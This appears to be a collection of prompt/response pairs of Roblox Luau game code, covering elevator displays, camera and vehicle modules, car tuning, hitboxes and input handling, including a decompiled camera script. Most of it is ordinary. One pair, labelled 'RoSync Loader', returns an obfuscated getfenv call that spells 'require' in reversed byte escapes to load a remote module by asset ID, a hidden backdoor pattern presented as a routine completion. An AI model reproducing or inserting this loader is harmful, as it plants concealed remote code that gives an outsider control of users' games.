Lift:WaitForChild("Floor").Changed:connect(function(floor)
  --custom indicator code--
  ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end

function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do
			for r=1,16 do
				This.Display["DIG"..ID]["D"..r].Transparency = (l:sub(r,r) == "1" and 0 or 0.95)
			end
		end
	end
end

while true do

	-- -- -- -- -- -- --
	--DIRECTION SCROLL--
	-- -- -- -- -- -- --
    if Lift:WaitForChild("Direction").Value == 1 then
		This.Display.ARW1.UP.Transparency = 0
		This.Display.ARW1.MID.Transparency = 0
		This.Display.ARW1.DOWN.Transparency = 0.95
    elseif Lift:WaitForChild("Direction").Value == -1 then
		This.Display.ARW1.UP.Transparency = 0.95
		This.Display.ARW1.MID.Transparency = 0
		This.Display.ARW1.DOWN.Transparency = 0
	else
		This.Display.ARW1.UP.Transparency = 0.95
		This.Display.ARW1.MID.Transparency = 0.95
		This.Display.ARW1.DOWN.Transparency = 0.95
    end

	wait()
end


Prompt: --[[ Services ]]

Response:
--
local PlayersService = game:GetService('Players')
local VRService = game:GetService("VRService")

local Util = require(script.Parent:WaitForChild("CameraUtils"))

local newDefaultCameraAngleFlagExists, newDefaultCameraAngleFlagEnabled = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserNewDefaultCameraAngle")
end)
local FFlagUserNewDefaultCameraAngle = newDefaultCameraAngleFlagExists and newDefaultCameraAngleFlagEnabled


Prompt: -- evento para atacar

Response:
eventAttack.OnServerEvent:Connect(function(player, isAttackingLeft, isAttackingRight, rightSword)
	local character = player.Character
	local leftSword = character.LeftHand.Sword
	-- aqui hacemos el daño cuando el usuario acciona su espada
	leftSword.Touched:Connect(function(hit)
		local humanoid = hit.Parent:FindFirstChild("Humanoid")
		if isAttackingLeft and humanoid then
			humanoid:TakeDamage(DAMAGE)
			isAttackingLeft = false
		end
	end)

	rightSword.Touched:Connect(function(hit)
		local humanoid = hit.Parent:FindFirstChild("Humanoid")

		if isAttackingRight and humanoid then
			humanoid:TakeDamage(DAMAGE)
			isAttackingRight = false
		end
	end)

end)


Prompt: --[[Wheel Alignment]]

Response:
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -3
	Tune.RCamber		= -3
	Tune.FCaster		= 0
	Tune.RCaster		= 0
	Tune.FToe			= 0
	Tune.RToe			= 0


Prompt: --Made by Luckymaxer

Response:
Model = script.Parent

Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")

Humanoid = Model:WaitForChild("Humanoid")
Humanoid.Health = Humanoid.MaxHealth
Seat = Model:WaitForChild("Seat")
Torso = Model:WaitForChild("Torso")

InteractiveControl = script:WaitForChild("InteractiveControl")

Animations = {
	Walk = {Animation = Model:WaitForChild("Walk"), FadeTime = nil, Weight = nil, Speed = 1},
	Ride = {Animation = Model:WaitForChild("Ride"), FadeTime = 0.25, Weight = nil, Speed = nil},
}

Walking = false
Rider = nil

Gravity = 196.20

Gyro = (Torso:FindFirstChild("BodyGyro") or Instance.new("BodyGyro"))
Gyro.Name = "BodyGyro"
Gyro.cframe = Torso.CFrame
Gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
Gyro.Parent = Torso

Velocity = (Torso:FindFirstChild("BodyVelocity") or Instance.new("BodyVelocity"))
Velocity.Name = "BodyVelocity"
Velocity.maxForce = Vector3.new(math.huge, 0, math.huge)
Velocity.Parent = Torso

WalkTrack = Humanoid:LoadAnimation(Animations.Walk.Animation)

Remotes = script:WaitForChild("Remotes")
Remotes:ClearAllChildren()

LastJump = 0
Disabled = false

ServerControl = (Remotes:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Remotes

ClientControl = (Remotes:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Remotes

function OnServerInvoke(player, Mode, Value)
	if player ~= Rider or not Mode then
		return
	end
	if Mode == "Jump" then
		local Now = tick()
		if (Now - LastJump) >= 2 then
			LastJump = Now
			Humanoid.Jump = true
		end
	elseif Mode == "Dismount" then
		Dismount()
	end
end

ServerControl.OnServerInvoke = OnServerInvoke

Humanoid.Changed:connect(function(Property)
	if Property == "Sit" and Humanoid.Sit then
		Humanoid.Sit = false
	end
end)

Humanoid.Died:connect(function()
	Disabled = true
	Debris:AddItem(Model, 3)
	Model:BreakJoints()
end)

function InvokeClient(Mode, Value)
	local ClientReturn = nil
	pcall(function()
		ClientReturn = ClientControl:InvokeClient(Rider, Mode, Value)
	end)
	return ClientReturn
end

function Animate(Time)
	if Humanoid.Health == 0 or Disabled then
		return
	end
	--Walking
	if not Walking and Torso.Velocity.magnitude > 1 then
		local Animation = Animations.Walk
		WalkTrack:Play(Animation.FadeTime, Animation.Weight, Animation.Speed)
		Walking = true
	end
	if Walking and Torso.Velocity.magnitude < 1 then
		WalkTrack:Stop()
		Walking = false
	end
	--Motion
	Velocity.velocity = (Torso.CFrame.lookVector * Seat.Throttle * Humanoid.WalkSpeed)
	Gyro.cframe = (Gyro.cframe * CFrame.Angles(0, (math.pi / 1.5 * Time * -Seat.Steer), 0))
end

function Dismount()
	if Rider and Rider.Parent then
		local Character = Rider.Character
		if Character then
			local Humanoid = nil
			for i, v in pairs(Character:GetChildren()) do
				if v:IsA("Humanoid") then
					Humanoid = v
					break
				end
			end
			Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
			Humanoid.Jump = true
		end
	end
end

function PlayerSeated(Child)
	local function BreakWeld()
		Debris:AddItem(Child, 0.5)
		if Child and Child.Parent then
			Child:Destroy()
		end
	end
	if not Child:IsA("Weld") or not Child.Name == "SeatWeld" then
		return
	end
	if Child.Part0 ~= Seat or not Child.Part1 or not Child.Part1.Parent then
		return
	end
	Child.C1 = (Child.C1 * CFrame.new(0, 0.5, 0.375))
	local character = Child.Part1.Parent
	local humanoid = character:FindFirstChild("Humanoid")
	if humanoid then
		local Animation = Animations.Ride
		RideTrack = humanoid:LoadAnimation(Animation.Animation)
		RideTrack:Play(Animation.FadeTime, Animation.Weight, Animation.Speed)
	end
	local Player = Players:GetPlayerFromCharacter(character)
	if not Player then
		BreakWeld()
		return
	end
	local PlayerGui = Player:FindFirstChild("PlayerGui")
	if not PlayerGui then
		BreakWeld()
		return
	end
	InteractiveControlCopy = InteractiveControl:Clone()
	local ServerCommunication = Instance.new("ObjectValue")
	ServerCommunication.Name = "ServerControl"
	ServerCommunication.Value = ServerControl
	ServerCommunication.Parent = InteractiveControlCopy
	InteractiveControlCopy.Disabled = false
	InteractiveControlCopy.Parent = PlayerGui
	Rider = Player
end

function PlayerDismounted(Child)
	if not Child:IsA("Weld") or not Child.Name == "SeatWeld" then
		return
	end
	if not Child.Part1 or not Child.Part1.Parent then
		return
	end
	local Player = Players:GetPlayerFromCharacter(Child.Part1.Parent)
	if not Player or Player ~= Rider then
		return
	end
	if InteractiveControlCopy and InteractiveControlCopy.Parent then
		InteractiveControlCopy:Destroy()
	end
	if RideTrack then
		RideTrack:Stop()
	end
	Rider = nil
end

RunService.Heartbeat:connect(Animate)
Seat.ChildAdded:connect(PlayerSeated)
Seat.ChildRemoved:connect(PlayerDismounted)


Prompt: --[Pre-Funcs]:

Response:
local Ang = CFrame.Angles	--[Storing these as variables so I dont have to type them out.]
local aSin = math.asin
local aTan = math.atan


Prompt: --	print(animName .. " " .. idx .. " [" .. origRoll .. "]")

Response:
	local anim = animTable[animName][idx].anim

	-- switch animation
	if (anim ~= currentAnimInstance) then

		if (currentAnimTrack ~= nil) then
			currentAnimTrack:Stop(transitionTime)
			currentAnimTrack:Destroy()
		end

		currentAnimSpeed = 1.0

		-- load it to the humanoid; get AnimationTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)

		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName
		currentAnimInstance = anim

		-- set up keyframe name triggers
		if (currentAnimKeyframeHandler ~= nil) then
			currentAnimKeyframeHandler:disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)

	end

end


Prompt: -- Display Values used to update Player GUI

Response:
local displayValues = ReplicatedStorage.DisplayValues
local status = displayValues.Status
local timeLeft = displayValues.TimeLeft


Prompt: -- initialize local variables

Response:
local camera = workspace.CurrentCamera
local player = game.Players.LocalPlayer
local character = player.Character
local humanoid = character.Humanoid


Prompt: --[[Read line 24 of the script. Just edit the word "D4Tide" to whatever the gun name you want. The gun must be in the lighting for this to work. I'd reccomend you add a regen.]]

Response:
local debounce = false

function getPlayer(humanoid)
local players = game.Players:children()
for i = 1, #players do
if players[i].Character.Humanoid == humanoid then return players[i] end
end
return nil
end

function onTouch(part)

local human = part.Parent:findFirstChild("Humanoid")
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human)

if (player == nil) then return end

game.Lighting.AUG:clone().Parent = player.Backpack

wait(5)
debounce = false
end
end

script.Parent.Touched:connect(onTouch)


Prompt: -- Add script when player is added

Response:
game.Players.PlayerAdded:connect(function(player)
	addMyLocalScript(player)
end)


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= false		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

	Tune.FBrakeForce	= 1500		-- Front brake force
	Tune.RBrakeForce	= 1000		-- Rear brake force
	Tune.PBrakeForce	= 5000		-- Handbrake force

	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]


Prompt:
--[[**
	ensures Roblox NumberSequenceKeypoint type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response: t.NumberSequenceKeypoint = primitive("NumberSequenceKeypoint")


Prompt: --// Aim|Zoom|Sensitivity Customization

Response:
	ZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween
	AimZoom = 50; -- Default zoom
	AimSpeed = 0.20;
	UnaimSpeed = 0.35;
	CycleAimZoom = 4; -- Cycled zoom
	MouseSensitivity = 0.5; -- Number between 0.1 and 1
	SensitivityIncrement = 0.05; -- No touchy


Prompt: -- Input Module

Response:
local module = {}

module.mode = script.Mode
local USI = game:GetService("UserInputService")

if USI.GamepadEnabled then
	module.mode.Value = "Xbox"
elseif USI.KeyboardEnabled then
	module.mode.Value = "PC"
elseif USI.TouchEnabled then
	module.mode.Value = "Mobile"
end

game.GuiService.AutoSelectGuiEnabled = false

function module.findFirstButton(Object)
	local Closest
	local Dist = 999
	for i,Button in Object:GetDescendants() do
		if Button:IsA("GuiButton") and Button.Selectable then
			local D = (Object.AbsolutePosition - Button.AbsolutePosition).magnitude
			if D < Dist then
				Dist = D
				Closest = Button
			end
		end
	end
	return Closest
end

function module.init(Modules)
	local Menu = Modules["Menu"]
	local HUD = Modules["HUD"]
	local Placement = Modules["Placement"]
	local Busy = false
	-- open up xbox chat
	--local function OpenXboxChat()
	--	local Visible = not script.Parent.XboxMessage.Visible
	--	if Visible then
	--		Modules.Focus.change(script.Parent.XboxMessage)
	--		game:GetService("GuiService"):AddSelectionParent("XboxChat",script.Parent.XboxMessage)
	--		game:GetService("GuiService").SelectedObject = script.Parent.XboxMessage.TextBox
	--		game:GetService("GuiService").GuiNavigationEnabled = true
	--	end
	--end

	-- Placing
	--game.ContextActionService:BindActionAtPriority("XboxChat",OpenXboxChat,false,Enum.ContextActionPriority.High,Enum.KeyCode.ButtonSelect)

	USI.InputEnded:Connect(function(Input,Processed)
		--if Input.KeyCode == Enum.KeyCode.ButtonSelect then OpenXboxChat() end
		if Processed then return false end
		if not Processed and not Busy then
			local InputVal = Input.UserInputType.Value
			if (InputVal == 8) or (InputVal >= 0 and InputVal <= 4) then
				module.mode.Value = "PC"
			elseif InputVal == 7 then
				module.mode.Value = "Mobile"
			elseif InputVal >= 12 and InputVal <= 19 then
				module.mode.Value = "Xbox"
			end
			local Focused = (script.Parent.FocusWindow.Value and script.Parent.FocusWindow.Value.Visible)
			local Tycoon = game.Players.LocalPlayer.PlayerTycoon.Value
			-- XBOX CONTROLS
			if Input.KeyCode == Enum.KeyCode.ButtonA then
				if script.Parent.ItemPreview.Frame.Expanded.Value then
					Modules.Placement.quickplace()
				end
			elseif Modules.Placement.placing and Input.KeyCode == Enum.KeyCode.DPadUp then
				Modules.Placement.raise()
			elseif Modules.Placement.placing and Input.KeyCode == Enum.KeyCode.DPadDown then
				Modules.Placement.lower()
			elseif Input.KeyCode == Enum.KeyCode.ButtonB then
				if script.Parent.Shop.Visible then
					if script.Parent.Shop.Confirm.Visible then
						for i,Button in script.Parent.Shop.Frame.Items:GetChildren() do
							if Button.Name == script.Parent.Shop.SelectedItem.Value.Name then
								game.GuiService.SelectedObject = Button
							end
						end
						script.Parent.Shop.SelectedItem.Value = nil
					elseif script.Parent.Shop.Mode.Value ~= "Default" then
						local OldMode = script.Parent.Shop.Mode.Value
						local Button = script.Parent.Shop.Frame.SideBar:FindFirstChild(OldMode)
						script.Parent.Shop.Mode.Value = "Default"
						if Button then
							--script.Parent.Shop.Frame.SideBar.Visible = true
							game.GuiService.SelectedObject = Button
						end
					else
						Modules.Focus.close()
					end
				elseif Modules.Placement.placing then
					Modules.Placement.stopPlacing()
				elseif Focused then
					Modules.Focus.close()
				elseif script.Parent.ItemPreview.Frame.Expanded.Value then
					Modules.Preview.Collapse()
				end
			elseif Input.KeyCode == Enum.KeyCode.DPadUp then
				if Modules.Preview.expanded ~= nil and script.Parent.ItemPreview.Visible and script.Parent.ItemPreview.Frame.Expanded.Value then
					Modules.Placement.quickplace()
				end
			elseif Input.KeyCode == Enum.KeyCode.DPadRight then
				if not Focused then
					Modules.Focus.change(script.Parent.HUDRight)
					script.Parent.HUDRight.XboxKey.Close.Visible = true
					script.Parent.HUDRight.XboxKey.Open.Visible = false
				end
			elseif Input.KeyCode == Enum.KeyCode.DPadDown then
				if not Focused then
					Modules.HUDRight.OpenBoxes()
				end
			elseif Input.KeyCode == Enum.KeyCode.ButtonX then
				if Tycoon then
					if script.Parent.ItemPreview.Frame.Expanded.Value then
						Modules.Placement.withdraw()
					else
						Modules.HUDLeft.ToggleInventory()
					end
				end
			elseif Input.KeyCode == Enum.KeyCode.ButtonY then
				if Tycoon then
					if script.Parent.ItemPreview.Frame.Expanded.Value then
						Modules.Placement.quicksell()
					elseif Modules.Placement.placing then
						Modules.Placement.undo()
					else
						--Modules.HUDLeft.ToggleShop()
					end
				end
			elseif Input.KeyCode == Enum.KeyCode.ButtonL2 then
				if Modules.Placement.placing then
					Modules.Placement.rotate()
				end
			elseif Input.KeyCode == Enum.KeyCode.ButtonL1 then
				if script.Parent.Inventory.Visible then
					Modules.HUDLeft.ToggleSettings()
				elseif Modules.Placement.placing then
					Modules.Placement.shiftleft()
				end
			elseif Input.KeyCode == Enum.KeyCode.ButtonR1 then
				if script.Parent.Shop.Visible then
					Modules.Focus.change(script.Parent.Premium)
				elseif Modules.Placement.placing then
					Modules.Placement.shiftright()
				elseif script.Parent.ItemInfo.Info.XboxControl.Visible then
					local itemLabel = script.Parent.ItemInfo.RealItem.Value
					if itemLabel then
						local Success = game.ReplicatedStorage.RFunctions.ToggleFavorite:InvokeServer(itemLabel.ItemName.Value)
						if not Success then
							Modules.Menu.sounds.Error:Play()
						else
							Modules.ItemInfo.hide(itemLabel)
							Modules.Inventory.favorite(itemLabel)
						end
					end
				end
				-- PC CONTROLS
			elseif Input.KeyCode == Enum.KeyCode.E then
				Modules.HUDLeft.ToggleInventory()
			end
			if Modules.Placement.placing then
				if Input.KeyCode == Enum.KeyCode.R then
					Modules.Placement.rotate()
				elseif Input.KeyCode == Enum.KeyCode.Q then
					Modules.Placement.stopPlacing()
				elseif Input.KeyCode == Enum.KeyCode.F then
					Modules.Placement.undo()
				elseif Input.KeyCode == Enum.KeyCode.Z then
					Modules.Placement.shiftleft()
				elseif Input.KeyCode == Enum.KeyCode.C then
					Modules.Placement.shiftright()
				elseif Input.KeyCode == Enum.KeyCode.One or Input.KeyCode == Enum.KeyCode.KeypadOne then
					Modules.Placement.lower()
				elseif Input.KeyCode == Enum.KeyCode.Two or Input.KeyCode == Enum.KeyCode.KeypadTwo	then
					Modules.Placement.raise()
				end
			elseif script.Parent.ItemPreview.Frame.Expanded.Value then
				if Input.KeyCode == Enum.KeyCode.Z then
					Modules.Placement.withdraw()
				elseif Input.KeyCode == Enum.KeyCode.R then
					Modules.Placement.quickplace()
				elseif Input.KeyCode == Enum.KeyCode.X then
					Modules.Placement.quicksell()
				elseif Input.KeyCode == Enum.KeyCode.C then
					Modules.Placement.quickbuy()
				end
			else
				if Input.KeyCode == Enum.KeyCode.M then
					Modules.HUDLeft.ToggleMaps()
				elseif Input.KeyCode == Enum.KeyCode.C then
					Modules.HUDLeft.ToggleSettings()
				elseif Input.KeyCode == Enum.KeyCode.P then
					Modules.HUDLeft.TogglePremium()
				elseif Input.KeyCode == Enum.KeyCode.F and game:GetService("RunService"):IsStudio() then
					Modules.HUDLeft.ToggleShop()
				end
			end
		end
	end)

	local function Scan()
		for i,Object in script.Parent:GetDescendants() do
			if Object:IsA("GuiObject") then
				if Object:FindFirstChild("PC") or Object:FindFirstChild("Xbox") or Object:FindFirstChild("Mobile") then
					Object.Visible = Object:FindFirstChild(module.mode.Value)
				end
			end
		end
	end
	Scan()
	module.mode.Changed:Connect(Scan)
	print(module.mode.Value)
end

return module


Prompt: -- services

Response:
local ReplicatedStorage	= game:GetService("ReplicatedStorage")
local Players			= game:GetService("Players")


Prompt:
--- Runs for the very first time whenever a hitbox is created
--- Do not run this more than once, you may introduce memory leaks if you do so

Response:
function Hitbox:_Init()
	if not self.HitboxObject then return end

	local tagConnection: RBXScriptConnection

	local function onTagRemoved(instance: Instance)
		if instance == self.HitboxObject then
			tagConnection:Disconnect()
			self:Destroy()
		end
	end

	self:Recalibrate()
	table.insert(ActiveHitboxes, self)
	CollectionService:AddTag(self.HitboxObject, self.Tag)

	tagConnection = CollectionService:GetInstanceRemovedSignal(self.Tag):Connect(onTagRemoved)
end

local function Init()
	--- Reserve table sizing for solver tables
	local solversCache: {[number]: any} = table.create(#Solvers:GetChildren())

	DEFAULT_SIMULATION_TYPE:Connect(function(step: number)
		--- Iterate through all the hitboxes
		for i = #ActiveHitboxes, 1, -1 do
			--- Skip this hitbox if the hitbox will be garbage collected this frame
			if ActiveHitboxes[i].HitboxPendingRemoval then
				local hitbox: any = table.remove(ActiveHitboxes, i)
				table.clear(hitbox)
				setmetatable(hitbox, nil)
				continue
			end

			for _: number, point: Point in ipairs(ActiveHitboxes[i].HitboxRaycastPoints) do
				--- Reset this point if the hitbox is inactive
				if not ActiveHitboxes[i].HitboxActive then
					point.LastPosition = nil
					continue
				end

				--- Calculate rays
				local castMode: any = solversCache[point.CastMode]
				local origin: Vector3, direction: Vector3 = castMode:Solve(point)
				local raycastResult: RaycastResult = workspace:Raycast(origin, direction, ActiveHitboxes[i].RaycastParams)

				--- Draw debug rays
				if ActiveHitboxes[i].Visualizer then
					local adornmentData: AdornmentData? = VisualizerCache:GetAdornment()

					if adornmentData then
						local debugStartPosition: CFrame = castMode:Visualize(point)
						adornmentData.Adornment.Length = direction.Magnitude
						adornmentData.Adornment.CFrame = debugStartPosition
					end
				end

				--- Update the current point's position
				point.LastPosition = castMode:UpdateToNextPosition(point)

				--- If a ray detected a hit
				if raycastResult then
					local part: BasePart = raycastResult.Instance
					local model: Instance?
					local humanoid: Instance?
					local target: Instance?

					if ActiveHitboxes[i].DetectionMode == 1 then
						model = part:FindFirstAncestorOfClass("Model")
						if model then
							humanoid = model:FindFirstChildOfClass("Humanoid")
						end
						target = humanoid
					else
						target = part
					end

					--- Found a target. Fire the OnHit event
					if target then
						if ActiveHitboxes[i].DetectionMode <= 2 then
							if ActiveHitboxes[i].HitboxHitList[target] then
								continue
							else
								ActiveHitboxes[i].HitboxHitList[target] = true
							end
						end

						ActiveHitboxes[i].OnHit:Fire(part, humanoid, raycastResult, point.Group)
					end
				end

				--- Hitbox Time scheduler
				if ActiveHitboxes[i].HitboxStopTime > 0 then
					if ActiveHitboxes[i].HitboxStopTime <= os.clock() then
						ActiveHitboxes[i]:HitStop()
					end
				end

				--- OnUpdate event that fires every frame for every point
				ActiveHitboxes[i].OnUpdate:Fire(point.LastPosition)

				--- Update SignalType
				if ActiveHitboxes[i].OnUpdate._signalType ~= ActiveHitboxes[i].SignalType then
					ActiveHitboxes[i].OnUpdate._signalType = ActiveHitboxes[i].SignalType
					ActiveHitboxes[i].OnHit._signalType = ActiveHitboxes[i].SignalType
				end
			end
		end

		local adornmentsInUse: number = #VisualizerCache._AdornmentInUse

		--- Iterates through all the debug rays to see if they need to be cached or cleaned up
		if adornmentsInUse > 0 then
			for i = adornmentsInUse, 1, -1 do
				if (os.clock() - VisualizerCache._AdornmentInUse[i].LastUse) >= DEFAULT_DEBUGGER_RAY_DURATION then
					local adornment: AdornmentData? = table.remove(VisualizerCache._AdornmentInUse, i)

					if adornment then
						VisualizerCache:ReturnAdornment(adornment)
					end
				end
			end
		end
	end)

	--- Require all solvers
	for castMode: string, enum: number in pairs(Hitbox.CastModes) do
		local moduleScript: Instance? = Solvers:FindFirstChild(castMode)

		if moduleScript then
			local load = require(moduleScript)
			solversCache[enum] = load
		end
	end
end

Init()

return Hitbox


Prompt: --[[Drivetrain Initialize]]

Response:
	local Drive={}

	--Power Front Wheels
	if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
		for i,v in pairs(car.Wheels:GetChildren()) do
			if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
				table.insert(Drive,v)
			end
		end
	end

	--Power Rear Wheels
	if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
		for i,v in pairs(car.Wheels:GetChildren()) do
			if v.Name=="RL" or v.Name=="RR" or v.Name=="R" then
				table.insert(Drive,v)
			end
		end
	end

	--Determine Wheel Size
	local wDia = 0
	for i,v in pairs(Drive) do
		if v.Size.x>wDia then wDia = v.Size.x end
	end

	--Pre-Toggled PBrake
	for i,v in pairs(car.Wheels:GetChildren()) do
		if v["#AV"]:IsA("BodyAngularVelocity") then
			if math.abs(v["#AV"].maxTorque.Magnitude-PBrakeForce)<1 then
				_PBrake=true
			end
		else
			if math.abs(v["#AV"].MotorMaxTorque-PBrakeForce)<1 then
				_PBrake=true
			end
		end
	end


Prompt: ---[[ Chat Text Size Settings ]]

Response:
module.ChatWindowTextSize = 18
module.ChatChannelsTabTextSize = 18
module.ChatBarTextSize = 18
module.ChatWindowTextSizePhone = 14
module.ChatChannelsTabTextSizePhone = 18
module.ChatBarTextSizePhone = 14


Prompt: --[[ Last synced 12/13/2020 04:04 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Response:
function configureAnimationSetOld(name, fileList)
	if (animTable[name] ~= nil) then
		for _, connection in pairs(animTable[name].connections) do
			connection:disconnect()
		end
	end
	animTable[name] = {}
	animTable[name].count = 0
	animTable[name].totalWeight = 0
	animTable[name].connections = {}

	local allowCustomAnimations = true

	local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
	if not success then
		allowCustomAnimations = true
	end

	-- check for config values
	local config = script:FindFirstChild(name)
	if (allowCustomAnimations and config ~= nil) then
		table.insert(animTable[name].connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end))
		table.insert(animTable[name].connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end))
		local idx = 1
		for _, childPart in pairs(config:GetChildren()) do
			if (childPart:IsA("Animation")) then
				table.insert(animTable[name].connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end))
				animTable[name][idx] = {}
				animTable[name][idx].anim = childPart
				local weightObject = childPart:FindFirstChild("Weight")
				if (weightObject == nil) then
					animTable[name][idx].weight = 1
				else
					animTable[name][idx].weight = weightObject.Value
				end
				animTable[name].count = animTable[name].count + 1
				animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
				idx = idx + 1
			end
		end
	end

	-- fallback to defaults
	if (animTable[name].count <= 0) then
		for idx, anim in pairs(fileList) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = Instance.new("Animation")
			animTable[name][idx].anim.Name = name
			animTable[name][idx].anim.AnimationId = anim.id
			animTable[name][idx].weight = anim.weight
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
			-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
		end
	end

	-- preload anims
	for i, animType in pairs(animTable) do
		for idx = 1, animType.count, 1 do
			Humanoid:LoadAnimation(animType[idx].anim)
		end
	end
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = require(script.Parent:WaitForChild("BaseCamera"));
local v2 = require(script.Parent:WaitForChild("CameraInput"));
local v3 = require(script.Parent:WaitForChild("CameraUtils"));
local v4 = require(script.Parent:WaitForChild("ZoomController"));
local v5 = require(script:WaitForChild("VehicleCameraCore"));
local v6 = require(script:WaitForChild("VehicleCameraConfig"));
local l__LocalPlayer__7 = game:GetService("Players").LocalPlayer;
local l__map__8 = v3.map;
local u1 = 0.016666666666666666;
game:GetService("RunService").Stepped:Connect(function(p1, p2)
	u1 = p2;
end);
local v9 = setmetatable({}, v1);
v9.__index = v9;
function v9.new()
	local v10 = setmetatable(v1.new(), v9);
	v10:Reset();
	return v10;
end;
local l__Spring__2 = v3.Spring;
function v9.Reset(p3)
	p3.vehicleCameraCore = v5.new(p3:GetSubjectCFrame());
	p3.pitchSpring = l__Spring__2.new(0, -math.rad(v6.pitchBaseAngle));
	p3.yawSpring = l__Spring__2.new(0, 0);
	p3.lastPanTick = 0;
	local l__CurrentCamera__11 = workspace.CurrentCamera;
	local v12 = l__CurrentCamera__11 and l__CurrentCamera__11.CameraSubject;
	assert(l__CurrentCamera__11);
	assert(v12);
	assert(v12:IsA("VehicleSeat"));
	local v13, v14 = v3.getLooseBoundingSphere((v12:GetConnectedParts(true)));
	p3.assemblyRadius = math.max(v14, 0.001);
	p3.assemblyOffset = v12.CFrame:Inverse() * v13;
	p3:_StepInitialZoom();
end;
function v9._StepInitialZoom(p4)
	p4:SetCameraToSubjectDistance(math.max(v4.GetZoomRadius(), p4.assemblyRadius * v6.initialZoomRadiusMul));
end;
local l__sanitizeAngle__3 = v3.sanitizeAngle;
local l__mapClamp__4 = v3.mapClamp;
function v9._StepRotation(p5, p6, p7)
	local l__yawSpring__15 = p5.yawSpring;
	local l__pitchSpring__16 = p5.pitchSpring;
	local v17 = v2.getRotation(true);
	l__yawSpring__15.pos = l__sanitizeAngle__3(l__yawSpring__15.pos + -v17.X);
	l__pitchSpring__16.pos = l__sanitizeAngle__3(math.clamp(l__pitchSpring__16.pos + -v17.Y, -1.3962634015954636, 1.3962634015954636));
	if v2.getRotationActivated() then
		p5.lastPanTick = os.clock();
	end;
	local v18 = -math.rad(v6.pitchBaseAngle);
	local v19 = math.rad(v6.pitchDeadzoneAngle);
	if v6.autocorrectDelay < os.clock() - p5.lastPanTick then
		local v20 = l__mapClamp__4(p7, v6.autocorrectMinCarSpeed, v6.autocorrectMaxCarSpeed, 0, v6.autocorrectResponse);
		l__yawSpring__15.freq = v20;
		l__pitchSpring__16.freq = v20;
		if l__yawSpring__15.freq < 0.001 then
			l__yawSpring__15.vel = 0;
		end;
		if l__pitchSpring__16.freq < 0.001 then
			l__pitchSpring__16.vel = 0;
		end;
		if math.abs(l__sanitizeAngle__3(v18 - l__pitchSpring__16.pos)) <= v19 then
			l__pitchSpring__16.goal = l__pitchSpring__16.pos;
		else
			l__pitchSpring__16.goal = v18;
		end;
	else
		l__yawSpring__15.freq = 0;
		l__yawSpring__15.vel = 0;
		l__pitchSpring__16.freq = 0;
		l__pitchSpring__16.vel = 0;
		l__pitchSpring__16.goal = v18;
	end;
	return CFrame.fromEulerAnglesYXZ(l__pitchSpring__16:step(p6), l__yawSpring__15:step(p6), 0);
end;
function v9._GetThirdPersonLocalOffset(p8)
	return p8.assemblyOffset + Vector3.new(0, p8.assemblyRadius * v6.verticalCenterOffset, 0);
end;
function v9._GetFirstPersonLocalOffset(p9, p10)
	local l__Character__21 = l__LocalPlayer__7.Character;
	if l__Character__21 and l__Character__21.Parent then
		local l__Head__22 = l__Character__21:FindFirstChild("Head");
		if l__Head__22 and l__Head__22:IsA("BasePart") then
			return p10:Inverse() * l__Head__22.Position;
		end;
	end;
	return p9:_GetThirdPersonLocalOffset();
end;
function v9.Update(p11)
	local l__CurrentCamera__23 = workspace.CurrentCamera;
	local v24 = l__CurrentCamera__23 and l__CurrentCamera__23.CameraSubject;
	local l__vehicleCameraCore__25 = p11.vehicleCameraCore;
	assert(l__CurrentCamera__23);
	assert(v24);
	assert(v24:IsA("VehicleSeat"));
	u1 = 0;
	local v26 = p11:GetSubjectCFrame();
	local v27 = p11:GetSubjectRotVelocity();
	local v28 = math.abs(v26.YVector:Dot(v27));
	local v29 = math.abs(v26.XVector:Dot(v27));
	local v30 = p11:StepZoom();
	local v31 = p11:_StepRotation(u1, (math.abs(p11:GetSubjectVelocity():Dot(v26.ZVector))));
	local v32 = l__mapClamp__4(v30, 0.5, p11.assemblyRadius, 1, 0);
